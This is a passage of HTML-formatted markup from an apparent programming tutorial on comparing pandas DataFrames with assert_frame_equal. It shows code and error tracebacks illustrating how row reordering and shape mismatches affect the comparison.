&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;grade&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;        &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now let’s use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pandas.testing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_like&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;physics&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;physics&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; detected that half of the rows are different on the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; column.&lt;/p&gt;
&lt;p&gt;With a closer inspection on the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; series we see that the first and third values are different (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;physics&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;physics&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Now if you see dataframes &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; you will see that it is more likely to interpret this &lt;strong&gt;difference as an reorder of the rows&lt;/strong&gt; and not as a real discrepancy (unless you are really wanting to have a specific order).&lt;/p&gt;
&lt;h2 id="make-the-comparison-order-insensitive"&gt;Make the comparison order-insensitive&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; alone is not enough as it is sensible to reorders.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSBgcmVzZXRfaW5kZXhgIGlzIHJlcXVpcmVkIGJlY2F1c2UgYHNvcnRfdmFsdWVzYCBwcmVzZXJ2ZXMgdGhlCmluZGV4OiBlYWNoIHJvdyByZW1lbWJlciBpdHMgb3JpZ2luYWwgcG9zaXRpb24uIGBhc3NlcnRfZnJhbWVfZXF1YWxgCmNoZWNrcyBieSBpbmRleCBzbyBpdCB3aWxsIHJldmVydCB0aGUgc29ydC4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBgcmVzZXRfaW5kZXhgIGlzIHJlcXVpcmVkIGJlY2F1c2UgYHNvcnRfdmFsdWVzYCBwcmVzZXJ2ZXMgdGhlCmluZGV4OiBlYWNoIHJvdyByZW1lbWJlciBpdHMgb3JpZ2luYWwgcG9zaXRpb24uIGBhc3NlcnRfZnJhbWVfZXF1YWxgCmNoZWNrcyBieSBpbmRleCBzbyBpdCB3aWxsIHJldmVydCB0aGUgc29ydC4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is required because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; preserves the index: each row remember its original position. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; checks by index so it will revert the sort.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s try to sort the rows before the check then:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_like&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;charlie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;charlie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mmm… more noise… perhaps sorting by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_like&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grade&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Better, I guess.&lt;/p&gt;
&lt;p&gt;Sorting solves the reorder problem but it is still &lt;strong&gt;hard to interpret&lt;/strong&gt; the results.&lt;/p&gt;
&lt;p&gt;Even with this example of just 4 rows, there are too many rows!&lt;/p&gt;
&lt;p&gt;More over, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not helpful when the dataframes has a different size, it just says that and that it &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alice&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;algebra&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_like&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;check_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DataFrame&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt; &lt;span class="n"&gt;shape&lt;/span&gt; &lt;span class="n"&gt;mismatch&lt;/span&gt;
